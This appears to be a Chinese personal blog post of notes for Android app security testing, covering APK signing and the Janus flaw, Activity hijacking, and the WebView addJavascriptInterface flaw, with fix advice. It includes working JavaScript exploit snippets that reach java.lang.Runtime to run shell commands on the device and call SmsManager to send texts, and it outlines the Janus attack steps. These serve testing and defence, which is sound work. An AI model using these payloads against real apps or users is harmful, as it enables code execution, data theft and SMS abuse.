Fanxs's Blog

【整理笔记】Android APP基础安全测试

字数统计: 2.9k阅读时长: 11 min
2018/10/29 Share

前言:
在公司时,会接到很多APP的测试项目,其中就包括移动端安全的基本测试。由于本人对移动端安全没有很多的研究,在单独做这些项目时会遇到很多的困难,所以专门总结了这篇文章,以供自己测试需要。大佬请提出建议或有效避让。

客户端安全

签名安全

检测目的

检测客户端安装包是否正确签名。通过签名,可以检测出安装包在签名后是否被修改过。

方法

1.查看META-INF目录下的文件,若存在.SF和.RSA文件,则说明APP已经过了签名。
2.利用GetApkInfo.jar,查看是否使用v2.0签名机制。

检测详情

使用GetAPKInfo:

修复建议

使用v1.0 + v2.0对APP进行签名。

相关背景

开发者发布了一个应用,该应用一定需要开发者使用他的私钥对其进行签名。恶意攻击者如果尝试修改了这个应用中的任何一个文件(包括代码和资源等),那么他就必须对APK进行重新签名,否则修改过的应用是无法安装到任何Android设备上的。但如果恶意攻击者用另一把私钥对APK签了名,并将这个修改过的APK对用户手机里的已有应用升级时,就会出现签名不一致的情况。因此,在正常情况下,Android的签名机制起到了防篡改的作用。

v1.0签名的过程为:

  1. 遍历apk中的所有子目录和文件,计算每个文件的SHA1摘要,然后用base64进行编码。将编码后的字符串和文件的路径存入MANIFEST.MF文件,如下图:
  2. 计算MANIFEST.MF文件的SHA1摘要,base64编码之后存入CERT.SF文件的SHA1-Digest-Manifest字段中。遍历MANIFEST.MF文件的所有项,计算每项的SHA1摘要,base64编码之后存入CERT.SF文件,如下图:

    3.用私钥计算出CERT.SF的数字签名,将此签名值以及公钥信息写入CERT.RSA

验签过程:
Android手机在安装App的时候,会对App的签名进行验证。只有签名验证通过,才能安装在手机上。验签过程和签名过程对应,分如下几步:
1.计算App里每个文件的SHA1摘要并进行base64编码,将结果与MANIFEST.MF文件中的对应项进行比对,确认是否相同。

2.遍历MANIFEST.MF文件,计算每项的SHA1摘要并进行base64编码,将结果与CERT.SF文件中的对应项进行比对,确认是否相同。

3.验证CERT.SF文件的签名信息和CERT.RSA中的内容是否相同。

Janus漏洞和v2.0签名
Janus(CVE-2017-13156),该漏洞允许攻击者任意修改Android应用中的代码,而不会影响其签名。
Janus漏洞具体:

http://www.droidsec.cn/janus%E9%AB%98%E5%8D%B1%E6%BC%8F%E6%B4%9E%E6%B7%B1%E5%BA%A6%E5%88%86%E6%9E%90/

Janus攻击步骤:

1
2
3
1. 从设备上取出目标应用的APK文件,并构造用于攻击的DEX文件;
2.将攻击DEX文件与原APK文件简单拼接为一个新的文件;
3.修复这个合并后的新文件的ZIP格式部分和DEX格式部分;

修复方案为使用v2.0签名机制。

v1.0和v2.0两个版本的签名区别在于,前者是对APK中的每个文件进行签名,如果APK中某个文件被篡改了,那么签名验证将会通不过;后者则是对整个APK文件进行签名,只要APK文件的内容发生变化则签名失效。

使用 APK 签名方案 v2 进行签名时,会在 APK 文件中插入一个 APK 签名分块,该分块位于“ZIP 中央目录”部分之前并紧邻该部分。在“APK 签名分块”内,v2 签名和签名者身份信息会存储在 APK 签名方案 v2 分块中。

图 1. 签名前和签名后的 APK

APK 签名方案 v2 是在 Android 7.0 (Nougat) 中引入的。为了使 APK 可在 Android 6.0
(Marshmallow) 及更低版本的设备上安装,应先使用 JAR 签名功能对 APK 进行签名,然后再使用 v2 方案对其进行签名。

其他

Android应用签名使用方法:
1.选择Generate Signed APK

  1. 选择证书或创建证书:

    选择已有的证书:
  2. 数字证书创建或选择完成后,点击OK—–>点击Next——>Finish。
    注意:生成后的数字证书千万不能丢失,还有密码也不能忘记了。因为这些东西对app以后的版本升级至关重要

参考

https://source.android.com/security/apksigning/v2
https://blog.csdn.net/qq309909897/article/details/72234968


Activity劫持

检测目的

检测应用登录Activity组件是否可被劫持。攻击者可以在本地监听用户的状态,当用户登陆或者输入交易密码时,弹出伪造的界面诱骗用户输入正确的账号口令,从而窃取用户信息。

方法

  1. 编写并安装恶意APP,针对目标测试APP进行Activity拦截。
  2. 开启拦截后,打开目标APP,弹出拦截页面后,查看原测试APP是否存在相关的弹窗或提醒,告诉用户APP已进入后台。

修复建议

这个问题无法从根本上解决,一般方法是在Activity被顶替时,显示提醒消息来警示用户。
https://github.com/1van/ActivityHijacker
这个项目里写了通用的方法:

相关背景

Activity劫持,就是APP正常的Activity界面被恶意攻击APP的界面顶替,以仿冒的钓鱼Activity界面骗取用户的信息。举个例子来说,当用户打开安卓手机上的某一应用,进入到登陆页面,这时,恶意软件侦测到用户的这一动作,立即弹出一个与该应用界面相同的Activity,覆盖掉了合法的Activity,骗取用户的账号密码。

Activity劫持漏洞的根本原因是:

  1. Android系统提供给了所有APP应用无需权限声明,枚举当前运行进程的API
  2. Android系统的Activity调度系统AmS(ActivityManagerService)使用栈结构来调度Activity,会展示栈顶的Activity界面。而任意APP或Service,都可以在启动一个Activity时,设置标志位FLAG_ACTIVITY_NEW_TASK,将这个Activity置于栈顶,覆盖掉展示的界面。

由上可见,此漏洞的产生原因是Android系统本身提供了所有APP这样做的能力,故根本无法从根本上防御。恶意APP程序,可以注册1个开机自启的后台service, 不断轮询当前的运行进程,当发现目标APP启动时,就启动1个仿冒的钓鱼Activity覆盖掉当前Activity,劫持了目标APP的界面。

参考

https://github.com/1van/ActivityHijacker


WebView命令执行漏洞 - addJavascriptInterface

检测目的

WebView组件存在严重的命令执行漏洞。当WebView中使用了addJavascriptInterface()接口时,远程攻击者可在恶意页面中调用Java Reflection API来执行任意Java对象的方法,执行任意命令。该漏洞影响Android API level 16以及之前的版本(即Android 4.2之前的系统)

方法

劫持APP发出的HTTP请求,在返回的HTML中加入Webview的测试元素,或使用检测的HTML直接替代返回的HTML数据。

检测详情

Webview命令执行的测试HTML为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<html>
<head>
<meta charset="UTF-8" />
<title>WebView Test</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,
user-scalable=0">
</head>
<body>
<p><b>If the application has the webview vulnerability, then the vulnerable interfaces
will be shown below.!!</b>
</p>
<script type="text/javascript">
function check(){
  for (var obj in window){
try {
if ("getClass" in window[obj]) {
 try{
window[obj].getClass();
document.write('<span
style="color:red">'+obj+'</span>');                              
document.write('<br />');
 }catch(e){ }
}
} catch(e) {}
  }

check();
</script>
</body>
</html>

遍历所有的HTML元素,寻找是否存在可利用的Webview接口。

修复建议

Android 4.2版本号之后
Google 在Android 4.2 版本号中规定对被调用的函数以 @JavascriptInterface进行注解从而避免漏洞攻击,用 @JavascriptInterface 代替addjavascriptInterface

Android 4.2版本号之前
修改调用方式,利用prompt
详情参考:

https://blog.csdn.net/xyz_lmn/article/details/39399225/
https://www.cnblogs.com/jhcelue/p/7338791.html

相关背景

WebView组件允许WebView中加载的JS文件,通过addJavascriptIntetface的接口来映射对象,调用APP中的方法。

addJavascriptInterface:

1
2
3
4
webView.addJavascriptInterface(new JSObject(), "myObj");
// 參数1:Android的本地对象
// 參数2:JS的对象
// 通过对象映射将Android中的本地对象和JS中的对象进行关联,从而实现JS调用Android的对象和方法

若App的代码中使用了webView.addJavascriptInterface绑定了js对象和java对象,则当webview中加载的Js用到这个对象时,就能够调用这个对象中所有的方法,包括系统类(java.lang.Runtime类)的方法,从而实现任意代码执行。

具体流程为:

  1. Js调用addJavascriptInterface绑定的对象(”myObj”)
  2. 调用所有对象都有的公共反射方法:getClass(),获取当前类
  3. 利用反射调用forName(“java.lang.Runtime”),得到Runtime类
  4. 再用反射getMethod想要调用的方法,用invode调用,exec执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function execute(cmdArgs)  
{
// 步骤1:遍历 window 对象
// 目的是为了找到包含 getClass ()的对象
// 因为Android映射的JS对象也在window中,所以肯定会遍历到
for (var obj in window) {  
if ("getClass" in window[obj]) {  
// 步骤2:利用反射调用forName()得到Runtime类对象
// 步骤3:以后,就能够调用静态方法来运行一些命令。比方訪问文件的命令
alert(obj);          
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  

// 从运行命令后返回的输入流中得到字符串。有非常严重暴露隐私的危急。
// 如运行完訪问文件的命令之后,就能够得到文件名称的信息了。
}  
}}
var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
document.write(getContents(res.getInputStream()));

当一些 APP 通过扫描二维码打开一个外部网页, 或诱使受害者打开恶意网页、浏览恶意微博或者向受害者发送恶意邮件,攻击者就能够运行这段 js 代码进行漏洞攻击。

利用此漏洞也可以执行其他的操作,如发短信:

1
2
3
4
5
6
7
8
<html>
<body>
<script>
var objSmsManager = injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null);
objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null);
</script>
</body>
</html>

还可以利用此漏洞给系统装上恶意APP、挂马、反弹shell、执行ELF等。

参考

https://www.cnblogs.com/jhcelue/p/7338791.html
https://blog.csdn.net/feizhixuan46789/article/details/49155369

其他

由于这个整理写在博客里实在太麻烦,所以之后的更新都会在pdf中:
https://github.com/fanxs-t/fanxs-t.github.io/blob/master/assets/Android.pdf
还有很多没有写,以后再慢慢学吧。

目前章节:

  • 签名检测
  • Activity劫持
  • Broadcast组件-导出风险
  • Service组件-导出风险
  • Content Provider组件-导出风险
  • Content Provider组件-目录遍历
  • Content Provider组件-SQL注入
  • WebView命令执行漏洞-addJavascriptInterface
  • 任意备份漏洞
  • 可调试风险
  • 外部存储路径检测
  • SharedPreference全局读写
  • 私有文件全局读写
CATALOG
  1. 1. 客户端安全
    1. 1.1. 签名安全
      1. 1.1.1. 检测目的
      2. 1.1.2. 方法
      3. 1.1.3. 检测详情
      4. 1.1.4. 修复建议
      5. 1.1.5. 相关背景
      6. 1.1.6. 其他
      7. 1.1.7. 参考
    2. 1.2. Activity劫持
      1. 1.2.1. 检测目的
      2. 1.2.2. 方法
      3. 1.2.3. 修复建议
      4. 1.2.4. 相关背景
      5. 1.2.5. 参考
    3. 1.3. WebView命令执行漏洞 - addJavascriptInterface
      1. 1.3.1. 检测目的
      2. 1.3.2. 方法
      3. 1.3.3. 检测详情
      4. 1.3.4. 修复建议
      5. 1.3.5. 相关背景
      6. 1.3.6. 参考
  2. 2. 其他